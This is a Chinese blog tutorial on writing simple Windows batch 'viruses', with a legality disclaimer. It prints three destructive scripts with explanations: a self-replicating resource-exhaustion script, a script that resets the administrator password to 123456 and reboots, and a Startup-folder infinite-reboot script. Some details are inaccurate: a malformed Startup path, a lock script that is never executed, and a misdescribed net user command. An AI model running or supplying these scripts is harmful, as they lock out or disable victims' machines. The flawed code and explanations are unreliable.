简单windows病毒编写及分析

声明:本文仅用于合法范围的学习交流,若使用者将本文用于非法目的或违反相关法律法规的行为,一切责任由使用者自行承担。请遵守相关法律法规。

一、编写一个简单的cmd程序

1、资源耗尽病毒

echo start cmd >1.txt
echo %0 >>1.txt
ren 1.txt 1.bat

启动效果

二、病毒分析

1、锁机病毒

(1)源代码

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /r /t 0 >> c:\windows\Temp\1.bat

(2)代码分析

1、echo net user administrator 123456 > c:\windows\Temp\1.bat
分析:
将net user administrator 123456写入文件1.bat
net user administrator 123456创建管理员用户administrator和密码123456;
2、echo shutdown /r /t 0 >> c:\windows\Temp\1.bat
分析:
将shutdown /r /t 0写入1.bat,shutdown /r /t 0表示直接重启主机
3、预期结果:
将administrator密码改为123456并重启
4、效果验证

2、无限重启病毒分析

(1)源代码

echo shutdown /r /t 0 > C:\windows\Temp\1.bat
copy C:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"

(2)代码分析

1、echo shutdown /r /t 0 > C:\windows\Temp\1.bat
分析:
将shutdown /r /t 0写入1.bat,shutdown /r /t 0表示直接重启主机
2、copy C:\windows\Temp\1.bat “%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup”
将1.bat复制到windows自启目录
3、效果分析
每次重启后执行1.bat导致反复重启

三、总结

文件要能看懂源码,并进行实际操作,这样才能加深印象。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值